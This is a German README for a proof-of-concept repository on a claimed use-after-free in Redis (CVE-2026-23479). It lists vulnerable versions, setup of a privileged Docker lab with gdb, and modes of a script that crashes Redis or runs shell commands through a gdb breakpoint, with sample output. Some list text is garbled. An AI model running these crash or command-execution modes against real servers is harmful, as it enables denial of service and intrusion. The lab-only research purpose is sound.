
Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke)
Use-After-Free in Redis
unblockClientOnKey()führt zu Remote Code Execution
Proof of Concept mit GDB-unterstützter Ausnutzung (nur zu Bildungs-/Laborzwecken)
CVE-2026-23479 ist eine kritische Use-After-Free (UAF)-Schwachstelle in Redis-Versionen 7.2.0 bis 8.6.2.
Der Fehler liegt in der Funktion unblockClientOnKey(), die processCommandAndResetClient() ohne Prüfung des Rückgabewerts aufruft.
Wenn der Client während dieses Aufrufs freigegeben wird (z. B. durch Eviction), arbeitet der Aufrufer weiterhin mit einem Dangling Pointer → UAF.
Ein Angreifer, der den Heap nach der Freigabe gezielt formen kann, könnte beliebigen Code ausführen.
Dieses Repository bietet ein GDB-gestütztes PoC, das:
freeClient()-Aufruf)system()-Aufruf injiziert wird⚠️ Wichtig: Dies ist kein einsatzfähiger Exploit. Er verwendet GDB in einem privilegierten Docker-Container, um zu simulieren, was ein echter Angreifer nach erfolgreicher Ausnutzung der UAF erreichen könnte.
Verwenden Sie es nur in Ihrem eigenen Labor oder auf Systemen, für die Sie eine ausdrückliche Testfreigabe haben.
crash, gdb, rce, full--container angebenXREAD BLOCK-Befehl lässt den Client auf Stream-Daten warten.pid 1) im Container an.processCommandAndResetClient – die Funktion, die aufgerufen wird, wenn der blockierte Client erneut verarbeitet wird.XADD auf demselben Stream weckt das Opfer.gdb-Modus: ruft freeClient($rdi) auf → verursacht absichtlich eine SIGSEGV → beweist die UAF.rce-Modus: ruft system("your command") auf → führt beliebige Shell-Befehle als Redis-Benutzer aus (standardmäßig root).Der Breakpoint feuert jedes Mal, wenn ein blockierter Client entblockt wird, und zeigt, dass derselbe Codepfad, der die UAF enthält, auch Codeausführung ermöglicht.
| Branch | Verwundbarer Bereich |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Das Skript parst automatisch die Redis-Version und meldet, ob sie verwundbar ist.
apt verwendet (z. B. das offizielle redis:8.6.2)--privileged erstellt werden (erforderlich für ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modus | Beschreibung |
|---|---|
crash | Versucht, die UAF über Speicherdruck auszulösen (kein GDB erforderlich). Redis kann abstürzen, dies ist jedoch nicht garantiert. |
gdb | GDB anhängen und freeClient() am Breakpoint aufrufen → erzwingt eine SIGSEGV (beweist die UAF). |
rce | GDB anhängen und system(cmd) am Breakpoint aufrufen → führt einen Shell-Befehl im Container aus. |
full | Zuerst crash ausführen; falls Redis nicht abstürzt, auf gdb zurückgreifen. |
| Argument | Standard | Beschreibung |
|---|---|---|
target | (erforderlich) | IP-Adresse des Redis-Servers |
-p, --port | 6379 | Redis-Port |
-m, --mode | full | Einer von crash, gdb, rce, full |
--container | env-redis-vuln-1 | Docker-Containername |
--cmd | id > /tmp/pwned_by_cve | Befehl, der im rce-Modus ausgeführt werden soll |
Hinweis: Alle Befehle werden von der Host-Maschine ausgeführt, nicht im Docker-Container.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis wird nach dem Segmentation Fault abstürzen.
Container neu starten:
docker start redis-vuln-local
Starten Sie Redis neu, um einen sauberen Zustand sicherzustellen:
docker restart redis-vuln-local
Exploit ausführen:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Beweisdatei überprüfen:
docker exec redis-vuln-local ls -l /tmp/pwned
Bei Erfolg existiert die Datei, was beweist, dass:
system("touch /tmp/pwned");
im Redis-Container ausgeführt wurde.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Wenn Redis unerwartet beendet wird (der Container läuft nicht mehr), wurde die UAF wahrscheinlich ausgelöst.
Starten Sie ihn neu mit:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Dieser Modus:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned